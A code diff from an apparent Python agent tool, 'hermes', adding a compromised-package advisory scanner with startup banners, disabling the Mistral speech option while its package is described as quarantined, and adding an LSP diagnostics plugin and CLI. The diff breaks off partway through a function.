logger.debug("importlib.metadata.version(%s) raised", pkg_name, exc_info=True)
|
||||
return None
|
||||
|
||||
|
||||
def detect_compromised(
|
||||
advisories: Iterable[Advisory] = ADVISORIES,
|
||||
) -> list[AdvisoryHit]:
|
||||
"""Scan installed packages and return all advisory hits.
|
||||
|
||||
A "hit" means an advisory's listed package is installed AND the version
|
||||
is in the compromised set (or the compromised set is empty, meaning
|
||||
*any* version is suspect).
|
||||
"""
|
||||
hits: list[AdvisoryHit] = []
|
||||
for advisory in advisories:
|
||||
for pkg_name, bad_versions in advisory.compromised:
|
||||
installed = _installed_version(pkg_name)
|
||||
if installed is None:
|
||||
continue
|
||||
if not bad_versions or installed in bad_versions:
|
||||
hits.append(AdvisoryHit(
|
||||
advisory=advisory,
|
||||
package=pkg_name,
|
||||
installed_version=installed,
|
||||
))
|
||||
return hits
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Acknowledgement persistence
|
||||
#
|
||||
# Acks live under ``security.acked_advisories`` in config.yaml as a list of
|
||||
# advisory IDs. The list is the only state — no per-host data, no
|
||||
# timestamps, no fingerprints. Users sharing a config.yaml across machines
|
||||
# (rare but possible) get the same dismissal everywhere, which is the
|
||||
# correct behavior for a global advisory.
|
||||
# =============================================================================
|
||||
|
||||
|
||||
def get_acked_ids() -> set[str]:
|
||||
"""Return the set of advisory IDs the user has dismissed.
|
||||
|
||||
Returns an empty set if config can't be loaded (don't block startup
|
||||
just because config is broken — the advisory will keep firing until
|
||||
config is repaired, which is fine).
|
||||
"""
|
||||
try:
|
||||
from hermes_cli.config import load_config
|
||||
cfg = load_config()
|
||||
except Exception:
|
||||
logger.debug("Could not load config for advisory acks", exc_info=True)
|
||||
return set()
|
||||
sec = cfg.get("security") or {}
|
||||
raw = sec.get("acked_advisories") or []
|
||||
if not isinstance(raw, list):
|
||||
return set()
|
||||
return {str(x).strip() for x in raw if str(x).strip()}
|
||||
|
||||
|
||||
def ack_advisory(advisory_id: str) -> bool:
|
||||
"""Persist an ack for ``advisory_id``. Returns True on success.
|
||||
|
||||
Idempotent — acking an already-acked ID is a no-op.
|
||||
"""
|
||||
advisory_id = advisory_id.strip()
|
||||
if not advisory_id:
|
||||
return False
|
||||
try:
|
||||
from hermes_cli.config import load_config, save_config
|
||||
except Exception:
|
||||
logger.warning("Could not import config module to persist ack")
|
||||
return False
|
||||
try:
|
||||
cfg = load_config()
|
||||
sec = cfg.setdefault("security", {})
|
||||
existing = sec.get("acked_advisories") or []
|
||||
if not isinstance(existing, list):
|
||||
existing = []
|
||||
if advisory_id not in existing:
|
||||
existing.append(advisory_id)
|
||||
sec["acked_advisories"] = existing
|
||||
save_config(cfg)
|
||||
return True
|
||||
except Exception:
|
||||
logger.exception("Failed to persist advisory ack for %s", advisory_id)
|
||||
return False
|
||||
|
||||
|
||||
def filter_unacked(hits: list[AdvisoryHit]) -> list[AdvisoryHit]:
|
||||
"""Return only hits whose advisories the user has not dismissed."""
|
||||
if not hits:
|
||||
return []
|
||||
acked = get_acked_ids()
|
||||
return [h for h in hits if h.advisory.id not in acked]
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Rendering helpers
|
||||
# =============================================================================
|
||||
|
||||
|
||||
def _term_supports_color() -> bool:
|
||||
if os.environ.get("NO_COLOR"):
|
||||
return False
|
||||
if not sys.stdout.isatty():
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def short_banner_lines(hits: list[AdvisoryHit]) -> list[str]:
|
||||
"""Return 1-3 short lines suitable for a startup banner.
|
||||
|
||||
Caller is responsible for color/styling. Always names the worst hit
|
||||
explicitly so the user knows what's wrong without running doctor.
|
||||
"""
|
||||
if not hits:
|
||||
return []
|
||||
primary = hits[0]
|
||||
lines = [
|
||||
f"SECURITY ADVISORY [{primary.advisory.id}]: {primary.advisory.title}",
|
||||
f" Detected: {primary.package}=={primary.installed_version}",
|
||||
" Run 'hermes doctor' for remediation steps.",
|
||||
]
|
||||
if len(hits) > 1:
|
||||
lines.insert(1, f" ({len(hits) - 1} additional advisor"
|
||||
f"{'ies' if len(hits) > 2 else 'y'} also active.)")
|
||||
return lines
|
||||
|
||||
|
||||
def full_remediation_text(hit: AdvisoryHit) -> list[str]:
|
||||
"""Return a multi-line block describing the advisory + remediation."""
|
||||
a = hit.advisory
|
||||
lines = [
|
||||
f"=== {a.title} ===",
|
||||
f"ID: {a.id} Severity: {a.severity} Published: {a.published}",
|
||||
f"Detected: {hit.package}=={hit.installed_version}",
|
||||
f"Reference: {a.url}",
|
||||
"",
|
||||
a.summary,
|
||||
"",
|
||||
"Remediation:",
|
||||
]
|
||||
for i, step in enumerate(a.remediation, 1):
|
||||
lines.append(f" {i}. {step}")
|
||||
return lines
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Startup-banner gating
|
||||
#
|
||||
# We do NOT want to hammer the user with the banner on every command. Once
|
||||
# they've seen it inside a 24h window we cache that fact in
|
||||
# ``~/.hermes/cache/advisory_banner_seen`` (a single line per advisory ID:
|
||||
# ``<id> <iso8601_timestamp>``).
|
||||
#
|
||||
# Acked advisories never re-banner. Cached-but-not-acked advisories
|
||||
# re-banner after 24h so the user doesn't fully forget.
|
||||
# =============================================================================
|
||||
|
||||
|
||||
_BANNER_CACHE_FILE = "advisory_banner_seen"
|
||||
_BANNER_REPEAT_HOURS = 24
|
||||
|
||||
|
||||
def _banner_cache_path() -> Optional[Path]:
|
||||
try:
|
||||
from hermes_constants import get_hermes_home
|
||||
cache_dir = Path(get_hermes_home()) / "cache"
|
||||
cache_dir.mkdir(parents=True, exist_ok=True)
|
||||
return cache_dir / _BANNER_CACHE_FILE
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def _read_banner_cache() -> dict[str, float]:
|
||||
p = _banner_cache_path()
|
||||
if p is None or not p.exists():
|
||||
return {}
|
||||
out: dict[str, float] = {}
|
||||
try:
|
||||
for line in p.read_text(encoding="utf-8").splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
parts = line.split(None, 1)
|
||||
if len(parts) != 2:
|
||||
continue
|
||||
advisory_id, ts = parts
|
||||
try:
|
||||
out[advisory_id] = float(ts)
|
||||
except ValueError:
|
||||
continue
|
||||
except Exception:
|
||||
return {}
|
||||
return out
|
||||
|
||||
|
||||
def _write_banner_cache(seen: dict[str, float]) -> None:
|
||||
p = _banner_cache_path()
|
||||
if p is None:
|
||||
return
|
||||
try:
|
||||
lines = [f"{aid} {ts}" for aid, ts in seen.items()]
|
||||
p.write_text("\n".join(lines) + "\n", encoding="utf-8")
|
||||
except Exception:
|
||||
logger.debug("Could not write advisory banner cache", exc_info=True)
|
||||
|
||||
|
||||
def hits_due_for_banner(
|
||||
hits: list[AdvisoryHit],
|
||||
*,
|
||||
repeat_hours: int = _BANNER_REPEAT_HOURS,
|
||||
) -> list[AdvisoryHit]:
|
||||
"""Return only hits whose banner is due (not acked, not recently shown).
|
||||
|
||||
Side effect: stamps the banner cache for any hit that's about to be
|
||||
shown. Callers should subsequently render the result.
|
||||
"""
|
||||
import time
|
||||
|
||||
fresh = filter_unacked(hits)
|
||||
if not fresh:
|
||||
return []
|
||||
now = time.time()
|
||||
cache = _read_banner_cache()
|
||||
cutoff = now - (repeat_hours * 3600)
|
||||
|
||||
due: list[AdvisoryHit] = []
|
||||
for hit in fresh:
|
||||
last = cache.get(hit.advisory.id, 0.0)
|
||||
if last < cutoff:
|
||||
due.append(hit)
|
||||
cache[hit.advisory.id] = now
|
||||
if due:
|
||||
_write_banner_cache(cache)
|
||||
return due
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Public entry points used by doctor / CLI / gateway
|
||||
# =============================================================================
|
||||
|
||||
|
||||
def render_doctor_section(hits: list[AdvisoryHit]) -> tuple[bool, list[str]]:
|
||||
"""Render the security-advisory section for ``hermes doctor``.
|
||||
|
||||
Returns ``(has_problems, lines)``. Caller is responsible for printing
|
||||
with whatever color scheme it uses.
|
||||
"""
|
||||
fresh = filter_unacked(hits)
|
||||
if not fresh:
|
||||
return False, ["No active security advisories. ✓"]
|
||||
|
||||
lines: list[str] = []
|
||||
for i, hit in enumerate(fresh):
|
||||
if i:
|
||||
lines.append("")
|
||||
lines.extend(full_remediation_text(hit))
|
||||
return True, lines
|
||||
|
||||
|
||||
def startup_banner(hits: list[AdvisoryHit]) -> Optional[str]:
|
||||
"""Return a printable startup banner, or None if nothing is due.
|
||||
|
||||
Updates the banner cache as a side effect (so the next call within
|
||||
24h returns None for the same hit).
|
||||
"""
|
||||
due = hits_due_for_banner(hits)
|
||||
if not due:
|
||||
return None
|
||||
lines = short_banner_lines(due)
|
||||
if _term_supports_color():
|
||||
red = "\x1b[1;31m"
|
||||
reset = "\x1b[0m"
|
||||
return red + "\n".join(lines) + reset
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def gateway_log_message(hits: list[AdvisoryHit]) -> Optional[str]:
|
||||
"""Return a one-line log message for gateway operators, or None."""
|
||||
fresh = filter_unacked(hits)
|
||||
if not fresh:
|
||||
return None
|
||||
if len(fresh) == 1:
|
||||
h = fresh[0]
|
||||
return (f"Security advisory [{h.advisory.id}] active: "
|
||||
f"{h.package}=={h.installed_version} matches {h.advisory.title}. "
|
||||
f"See {h.advisory.url}")
|
||||
return (f"{len(fresh)} security advisories active "
|
||||
f"(IDs: {', '.join(h.advisory.id for h in fresh)}). "
|
||||
f"Run `hermes doctor` on the gateway host for details.")
|
||||
@@ -205,15 +205,9 @@ TOOL_CATEGORIES = {
|
||||
],
|
||||
"tts_provider": "elevenlabs",
|
||||
},
|
||||
{
|
||||
"name": "Mistral (Voxtral TTS)",
|
||||
"badge": "paid",
|
||||
"tag": "Multilingual, native Opus",
|
||||
"env_vars": [
|
||||
{"key": "MISTRAL_API_KEY", "prompt": "Mistral API key", "url": "https://console.mistral.ai/"},
|
||||
],
|
||||
"tts_provider": "mistral",
|
||||
},
|
||||
# Mistral (Voxtral TTS) temporarily hidden — `mistralai` PyPI
|
||||
# package is currently quarantined (malicious 2.4.6 release on
|
||||
# 2026-05-12). Restore this entry once PyPI un-quarantines.
|
||||
{
|
||||
"name": "Google Gemini TTS",
|
||||
"badge": "preview",
|
||||
|
||||
@@ -56,10 +56,22 @@ try:
|
||||
from fastapi.staticfiles import StaticFiles
|
||||
from pydantic import BaseModel
|
||||
except ImportError:
|
||||
raise SystemExit(
|
||||
"Web UI requires fastapi and uvicorn.\n"
|
||||
f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'"
|
||||
)
|
||||
# First try lazy-installing the dashboard extras. Only the user actually
|
||||
# running `hermes dashboard` needs fastapi+uvicorn; lazy install keeps
|
||||
# them out of every other install path. After install, re-import.
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("tool.dashboard", prompt=False)
|
||||
from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
from fastapi.responses import FileResponse, HTMLResponse, JSONResponse, Response
|
||||
from fastapi.staticfiles import StaticFiles
|
||||
from pydantic import BaseModel
|
||||
except Exception:
|
||||
raise SystemExit(
|
||||
"Web UI requires fastapi and uvicorn.\n"
|
||||
f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'"
|
||||
)
|
||||
|
||||
WEB_DIST = Path(os.environ["HERMES_WEB_DIST"]) if "HERMES_WEB_DIST" in os.environ else Path(__file__).parent / "web_dist"
|
||||
_log = logging.getLogger(__name__)
|
||||
@@ -273,7 +285,9 @@ _SCHEMA_OVERRIDES: Dict[str, Dict[str, Any]] = {
|
||||
"stt.provider": {
|
||||
"type": "select",
|
||||
"description": "Speech-to-text provider",
|
||||
"options": ["local", "openai", "mistral"],
|
||||
# "mistral" temporarily removed — mistralai PyPI package quarantined
|
||||
# (malicious 2.4.6 release on 2026-05-12). Restore once available.
|
||||
"options": ["local", "openai"],
|
||||
},
|
||||
"display.skin": {
|
||||
"type": "select",
|
||||
@@ -2053,6 +2067,7 @@ def _minimax_poller(session_id: str) -> None:
|
||||
"""
|
||||
from hermes_cli.auth import (
|
||||
_minimax_poll_token,
|
||||
_minimax_resolve_token_expiry_unix,
|
||||
_minimax_save_auth_state,
|
||||
MINIMAX_OAUTH_GLOBAL_INFERENCE,
|
||||
MINIMAX_OAUTH_SCOPE,
|
||||
@@ -2090,8 +2105,10 @@ def _minimax_poller(session_id: str) -> None:
|
||||
# dashboard path; cn-region operators can still use the CLI
|
||||
# flow which supports `--region cn`.
|
||||
now = datetime.now(timezone.utc)
|
||||
expires_in_s = int(token_data["expired_in"])
|
||||
expires_at_ts = now.timestamp() + expires_in_s
|
||||
expires_at_ts = _minimax_resolve_token_expiry_unix(
|
||||
int(token_data["expired_in"]), now=now,
|
||||
)
|
||||
expires_in_s = max(0, int(expires_at_ts - now.timestamp()))
|
||||
auth_state = {
|
||||
"provider": "minimax-oauth",
|
||||
"region": sess.get("region", "global"),
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
"""LSP Plugin — semantic diagnostics from real language servers.
|
||||
|
||||
Hooks into write_file/patch via the Hermes plugin system to surface
|
||||
type errors, undefined names, missing imports, and other semantic
|
||||
issues detected by pyright, gopls, rust-analyzer, typescript-language-server,
|
||||
and ~20 more.
|
||||
|
||||
Opt-in: add ``lsp`` to ``plugins.enabled`` in config.yaml.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import atexit
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import threading
|
||||
from typing import Any
|
||||
|
||||
logger = logging.getLogger("plugins.lsp")
|
||||
|
||||
# Module-level state
|
||||
_service: Any = None # LSPService | None
|
||||
_service_lock = threading.Lock()
|
||||
# Presence set: (session_id, abs_path) entries where a baseline was captured.
|
||||
_baselines: set[tuple[str, str]] = set()
|
||||
|
||||
|
||||
def register(ctx) -> None:
|
||||
"""Plugin registration — wire hooks and CLI commands."""
|
||||
ctx.register_hook("on_session_end", _on_session_end)
|
||||
ctx.register_hook("pre_tool_call", _pre_tool_call)
|
||||
ctx.register_hook("transform_tool_result", _transform_tool_result)
|
||||
|
||||
try:
|
||||
from plugins.lsp.cli import setup_lsp_parser, run_lsp_command
|
||||
ctx.register_cli_command(
|
||||
name="lsp",
|
||||
help="Language Server Protocol management",
|
||||
setup_fn=setup_lsp_parser,
|
||||
handler_fn=run_lsp_command,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.debug("LSP CLI registration failed: %s", e)
|
||||
|
||||
atexit.register(_on_session_end)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Lifecycle
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _on_session_end(**kwargs) -> None:
|
||||
"""Tear down all language servers and clear baselines."""
|
||||
global _service
|
||||
with _service_lock:
|
||||
if _service is not None:
|
||||
try:
|
||||
_service.shutdown()
|
||||
except Exception as e:
|
||||
logger.debug("LSP shutdown error: %s", e)
|
||||
_service = None
|
||||
_baselines.clear()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tool hooks
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _pre_tool_call(**kwargs) -> None:
|
||||
"""Snapshot LSP baseline before a file write."""
|
||||
tool_name = kwargs.get("tool_name", "")
|
||||
if tool_name not in ("write_file", "patch"):
|
||||
return
|
||||
|
||||
svc = _ensure_service()
|
||||
if svc is None:
|
||||
return
|
||||
|
||||
args = _parse_args(kwargs.get("args"))
|
||||
if args is None:
|
||||
return
|
||||
|
||||
path = args.get("path", "")
|
||||
if not path:
|
||||
return
|
||||
|
||||
abs_path = _resolve_path(path)
|
||||
|
||||
# Best-effort local-only check: skip if parent dir doesn't exist on host
|
||||
if not os.path.exists(os.path.dirname(abs_path) or "."):
|
||||
return
|
||||
|
||||
if not svc.enabled_for(abs_path):
|
||||
return
|
||||
|
||||
session_id = kwargs.get("session_id") or ""
|
||||
key = (session_id, abs_path)
|
||||
|
||||
try:
|
||||
svc.snapshot_baseline(abs_path)
|
||||
_baselines.add(key)
|
||||
except Exception as e:
|
||||
logger.debug("LSP baseline snapshot failed for %s: %s", abs_path, e)
|
||||
|
||||
|
||||
def _transform_tool_result(**kwargs) -> str | None:
|
||||
"""Inject LSP diagnostics into the tool result JSON.
|
||||
|
||||
Returns modified result string with ``lsp_diagnostics`` field,
|
||||
or None to leave unchanged.
|
||||
"""
|
||||
tool_name = kwargs.get("tool_name", "")
|
||||
if tool_name not in ("write_file", "patch"):
|
||||
return None
|
||||
|
||||
svc = _service
|
||||
if svc is None or not svc.is_active():
|
||||
return None
|
||||
|
||||
args = _parse_args(kwargs.get("args"))
|
||||
if args is None:
|
||||
return None
|
||||
|
||||
path = args.get("path", "")
|
||||
if not path:
|
||||
return None
|
||||
|
||||
abs_path = _resolve_path(path)
|
||||
session_id = kwargs.get("session_id") or ""
|
||||
key = (session_id, abs_path)
|
||||
|
||||
if key not in _baselines:
|
||||
return None
|
||||
_baselines.discard(key)
|
||||
|
||||
# Fetch diagnostics with short timeout
|
||||
try:
|
||||
diagnostics = svc.get_diagnostics_sync(abs_path, delta=True, timeout=3.0)
|
||||
except Exception as e:
|
||||
logger.debug("LSP diagnostics fetch failed for %s: %s", abs_path, e)
|
||||
return None
|
||||
|
||||
if not diagnostics:
|
||||
return None
|
||||
|
||||
# Format
|
||||
try:
|
||||
from plugins.lsp.reporter import report_for_file, truncate
|
||||
block = report_for_file(abs_path, diagnostics)
|
||||
if not block:
|
||||
return None
|
||||
lsp_output = truncate(block)
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
# Inject into result JSON (only when result is a JSON dict)
|
||||
result = kwargs.get("result")
|
||||
if not isinstance(result, str):
|
||||
return None
|
||||
try:
|
||||
result_data = json.loads(result)
|
||||
if not isinstance(result_data, dict):
|
||||
return None
|
||||
result_data["lsp_diagnostics"] = lsp_output
|
||||
return json.dumps(result_data, ensure_ascii=False)
|
||||
except (json.JSONDecodeError, TypeError, ValueError):
|
||||
return None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _ensure_service():
|
||||
"""Lazy-initialize the LSP service singleton."""
|
||||
global _service
|
||||
svc = _service
|
||||
if svc is not None:
|
||||
return svc if svc.is_active() else None
|
||||
with _service_lock:
|
||||
if _service is not None:
|
||||
return _service if _service.is_active() else None
|
||||
try:
|
||||
from plugins.lsp.manager import LSPService
|
||||
_service = LSPService.create_from_config()
|
||||
except Exception as e:
|
||||
logger.debug("LSP service creation failed: %s", e)
|
||||
return None
|
||||
return _service if (_service and _service.is_active()) else None
|
||||
|
||||
|
||||
def _parse_args(args) -> dict[str, Any] | None:
|
||||
"""Normalize args (may be dict or JSON string)."""
|
||||
if isinstance(args, dict):
|
||||
return args
|
||||
if isinstance(args, str):
|
||||
try:
|
||||
parsed = json.loads(args)
|
||||
if isinstance(parsed, dict):
|
||||
return parsed
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
def _resolve_path(path: str) -> str:
|
||||
"""Expand and absolutify a path."""
|
||||
expanded = os.path.expanduser(path)
|
||||
if not os.path.isabs(expanded):
|
||||
expanded = os.path.join(os.getcwd(), expanded)
|
||||
return os.path.normpath(expanded)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Public API (used by plugins/lsp/cli.py)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def get_service():
|
||||
"""Return the active LSP service or None."""
|
||||
svc = _service
|
||||
return svc if (svc is not None and svc.is_active()) else None
|
||||
|
||||
|
||||
def shutdown_service() -> None:
|
||||
"""Tear down the LSP service (idempotent)."""
|
||||
_on_session_end()
|
||||
@@ -0,0 +1,313 @@
|
||||
"""``hermes lsp`` CLI subcommand.
|
||||
|
||||
Subcommands:
|
||||
|
||||
- ``status`` — show service state, configured servers, install status.
|
||||
- ``install <server_id>`` — eagerly install one server's binary.
|
||||
- ``install-all`` — try to install every server with a known recipe.
|
||||
- ``restart`` — tear down running clients so the next edit re-spawns.
|
||||
- ``which <server_id>`` — print the resolved binary path for one server.
|
||||
- ``list`` — print the registry of supported servers.
|
||||
|
||||
The handlers are kept here (rather than in
|
||||
``hermes_cli/main.py``) so the LSP module ships self-contained.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
from typing import Optional
|
||||
|
||||
|
||||
def register_subparser(subparsers: argparse._SubParsersAction) -> None:
|
||||
"""Wire the ``hermes lsp`` subcommand tree into the main argparse."""
|
||||
parser = subparsers.add_parser(
|
||||
"lsp",
|
||||
help="Language Server Protocol management",
|
||||
description=(
|
||||
"Manage the LSP layer that powers post-write semantic "
|
||||
"diagnostics in write_file/patch."
|
||||
),
|
||||
)
|
||||
sub = parser.add_subparsers(dest="lsp_command")
|
||||
|
||||
sub_status = sub.add_parser("status", help="Show LSP service status")
|
||||
sub_status.add_argument(
|
||||
"--json", action="store_true", help="Emit machine-readable JSON"
|
||||
)
|
||||
|
||||
sub_list = sub.add_parser("list", help="List supported language servers")
|
||||
sub_list.add_argument(
|
||||
"--installed-only",
|
||||
action="store_true",
|
||||
help="Only show servers whose binary is currently available",
|
||||
)
|
||||
|
||||
sub_install = sub.add_parser("install", help="Install a server binary")
|
||||
sub_install.add_argument("server", help="Server id (e.g. pyright, gopls)")
|
||||
|
||||
sub_install_all = sub.add_parser(
|
||||
"install-all",
|
||||
help="Install every server with a known auto-install recipe",
|
||||
)
|
||||
sub_install_all.add_argument(
|
||||
"--include-manual",
|
||||
action="store_true",
|
||||
help="Even attempt servers marked manual-install (best effort)",
|
||||
)
|
||||
|
||||
sub_restart = sub.add_parser(
|
||||
"restart",
|
||||
help="Tear down running LSP clients (next edit re-spawns)",
|
||||
)
|
||||
|
||||
sub_which = sub.add_parser("which", help="Print binary path for a server")
|
||||
sub_which.add_argument("server", help="Server id")
|
||||
|
||||
parser.set_defaults(func=run_lsp_command)
|
||||
|
||||
|
||||
def setup_lsp_parser(parser: argparse.ArgumentParser) -> None:
|
||||
"""Set up subcommands on an already-created 'lsp' parser.
|
||||
|
||||
Called by the plugin system's register_cli_command pathway, where
|
||||
main.py creates the top-level ``hermes lsp`` parser and passes it
|
||||
to us for subcommand wiring.
|
||||
"""
|
||||
sub = parser.add_subparsers(dest="lsp_command")
|
||||
|
||||
sub_status = sub.add_parser("status", help="Show LSP service status")
|
||||
sub_status.add_argument(
|
||||
"--json", action="store_true", help="Emit machine-readable JSON"
|
||||
)
|
||||
|
||||
sub_list = sub.add_parser("list", help="List supported language servers")
|
||||
sub_list.add_argument(
|
||||
"--installed-only",
|
||||
action="store_true",
|
||||
help="Only show servers whose binary is currently available",
|
||||
)
|
||||
|
||||
sub_install = sub.add_parser("install", help="Install a server binary")
|
||||
sub_install.add_argument("server", help="Server id (e.g. pyright, gopls)")
|
||||
|
||||
sub_install_all = sub.add_parser(
|
||||
"install-all",
|
||||
help="Install every server with a known auto-install recipe",
|
||||
)
|
||||
sub_install_all.add_argument(
|
||||
"--include-manual",
|
||||
action="store_true",
|
||||
help="Even attempt servers marked manual-install (best effort)",
|
||||
)
|
||||
|
||||
sub_restart = sub.add_parser(
|
||||
"restart",
|
||||
help="Tear down running LSP clients (next edit re-spawns)",
|
||||
)
|
||||
|
||||
sub_which = sub.add_parser("which", help="Print binary path for a server")
|
||||
sub_which.add_argument("server", help="Server id")
|
||||
|
||||
|
||||
def run_lsp_command(args: argparse.Namespace) -> int:
|
||||
"""Top-level dispatcher for ``hermes lsp <subcommand>``."""
|
||||
sub = getattr(args, "lsp_command", None) or "status"
|
||||
try:
|
||||
if sub == "status":
|
||||
return _cmd_status(getattr(args, "json", False))
|
||||
if sub == "list":
|
||||
return _cmd_list(getattr(args, "installed_only", False))
|
||||
if sub == "install":
|
||||
return _cmd_install(args.server)
|
||||
if sub == "install-all":
|
||||
return _cmd_install_all(getattr(args, "include_manual", False))
|
||||
if sub == "restart":
|
||||
return _cmd_restart()
|
||||
if sub == "which":
|
||||
return _cmd_which(args.server)
|
||||
sys.stderr.write(f"unknown lsp subcommand: {sub}\n")
|
||||
return 2
|
||||
except KeyboardInterrupt:
|
||||
return 130
|
||||
|
||||
|
||||
def _cmd_status(emit_json: bool) -> int:
|
||||
from plugins.lsp import get_service
|
||||
from plugins.lsp.servers import SERVERS
|
||||
from plugins.lsp.install import detect_status
|
||||
|
||||
svc = get_service()
|
||||
service_active = svc is not None
|
||||
info = svc.get_status() if svc is not None else {"enabled": False}
|
||||
|
||||
if emit_json:
|
||||
import json
|
||||
payload = {
|
||||
"service": info,
|
||||
"registry": [
|
||||
{
|
||||
"server_id": s.server_id,
|
||||
"extensions": list(s.extensions),
|
||||
"description": s.description,
|
||||
"binary_status": detect_status(_recipe_pkg_for(s.server_id)),
|
||||
}
|
||||
for s in SERVERS
|
||||
],
|
||||
}
|
||||
sys.stdout.write(json.dumps(payload, indent=2) + "\n")
|
||||
return 0
|
||||
|
||||
out = []
|
||||
out.append("LSP Service")
|
||||
out.append("===========")
|
||||
out.append(f" enabled: {info.get('enabled', False)}")
|
||||
if service_active:
|
||||
out.append(f" wait_mode: {info.get('wait_mode')}")
|
||||
out.append(f" wait_timeout: {info.get('wait_timeout')}s")
|
||||
out.append(f" install_strategy:{info.get('install_strategy')}")
|
||||
clients = info.get("clients") or []
|
||||
if clients:
|
||||
out.append(f" active clients: {len(clients)}")
|
||||
for c in clients:
|
||||
out.append(
|
||||
f" - {c['server_id']:20s} state={c['state']:10s} root={c['workspace_root']}"
|
||||
)
|
||||
else:
|
||||
out.append(" active clients: none")
|
||||
broken = info.get("broken") or []
|
||||
if broken:
|
||||
out.append(f" broken pairs: {len(broken)}")
|
||||
for b in broken:
|
||||
out.append(f" - {b}")
|
||||
disabled = info.get("disabled_servers") or []
|
||||
if disabled:
|
||||
out.append(f" disabled in cfg: {', '.join(disabled)}")
|
||||
out.append("")
|
||||
out.append("Registered Servers")
|
||||
out.append("==================")
|
||||
for s in SERVERS:
|
||||
pkg = _recipe_pkg_for(s.server_id)
|
||||
status = detect_status(pkg)
|
||||
marker = {
|
||||
"installed": "✓",
|
||||
"missing": "·",
|
||||
"manual-only": "?",
|
||||
}.get(status, " ")
|
||||
ext_summary = ", ".join(list(s.extensions)[:5])
|
||||
if len(s.extensions) > 5:
|
||||
ext_summary += f", … (+{len(s.extensions) - 5})"
|
||||
out.append(
|
||||
f" {marker} {s.server_id:24s} [{status:11s}] {ext_summary}"
|
||||
)
|
||||
if s.description:
|
||||
out.append(f" {s.description}")
|
||||
sys.stdout.write("\n".join(out) + "\n")
|
||||
return 0
|
||||
|
||||
|
||||
def _cmd_list(installed_only: bool) -> int:
|
||||
from plugins.lsp.servers import SERVERS
|
||||
from plugins.lsp.install import detect_status
|
||||
|
||||
for s in SERVERS:
|
||||
pkg = _recipe_pkg_for(s.server_id)
|
||||
status = detect_status(pkg)
|
||||
if installed_only and status != "installed":
|
||||
continue
|
||||
sys.stdout.write(
|
||||
f"{s.server_id:24s} [{status:11s}] {','.join(s.extensions)}\n"
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
def _cmd_install(server_id: str) -> int:
|
||||
from plugins.lsp.install import try_install, INSTALL_RECIPES, detect_status
|
||||
pkg = _recipe_pkg_for(server_id)
|
||||
pre_status = detect_status(pkg)
|
||||
if pre_status == "installed":
|
||||
sys.stdout.write(f"{server_id} already installed\n")
|
||||
return 0
|
||||
sys.stdout.write(f"installing {server_id} (pkg={pkg}) ...\n")
|
||||
sys.stdout.flush()
|
||||
bin_path = try_install(pkg, "auto")
|
||||
if bin_path is None:
|
||||
recipe = INSTALL_RECIPES.get(pkg)
|
||||
if recipe and recipe.get("strategy") == "manual":
|
||||
sys.stderr.write(
|
||||
f"{server_id}: this server requires a manual install. "
|
||||
f"See documentation.\n"
|
||||
)
|
||||
else:
|
||||
sys.stderr.write(f"{server_id}: install failed (see logs).\n")
|
||||
return 1
|
||||
sys.stdout.write(f"installed: {bin_path}\n")
|
||||
return 0
|
||||
|
||||
|
||||
def _cmd_install_all(include_manual: bool) -> int:
|
||||
from plugins.lsp.servers import SERVERS
|
||||
from plugins.lsp.install import try_install, INSTALL_RECIPES, detect_status
|
||||
|
||||
rc = 0
|
||||
for s in SERVERS:
|
||||
pkg = _recipe_pkg_for(s.server_id)
|
||||
recipe = INSTALL_RECIPES.get(pkg)
|
||||
if recipe is None:
|
||||
continue
|
||||
if recipe.get("strategy") == "manual" and not include_manual:
|
||||
continue
|
||||
if detect_status(pkg) == "installed":
|
||||
sys.stdout.write(f" {s.server_id:24s} already installed\n")
|
||||
continue
|
||||
sys.stdout.write(f" installing {s.server_id} (pkg={pkg}) ... ")
|
||||
sys.stdout.flush()
|
||||
path = try_install(pkg, "auto")
|
||||
if path:
|
||||
sys.stdout.write(f"ok ({path})\n")
|
||||
else:
|
||||
sys.stdout.write("FAILED\n")
|
||||
rc = 1
|
||||
return rc
|
||||
|
||||
|
||||
def _cmd_restart() -> int:
|
||||
from plugins.lsp import shutdown_service
|
||||
|
||||
shutdown_service()
|
||||
sys.stdout.write("LSP service shut down. Next edit will respawn clients.\n")
|
||||
return 0
|
||||
|
||||
|
||||
def _cmd_which(server_id: str) -> int:
|
||||
from plugins.lsp.install import INSTALL_RECIPES, hermes_lsp_bin_dir
|
||||
import os
|
||||
import shutil as _shutil
|
||||
|
||||
recipe = INSTALL_RECIPES.get(server_id)
|
||||
bin_name = (recipe or {}).get("bin", server_id)
|
||||
staged = hermes_lsp_bin_dir() / bin_name
|
||||
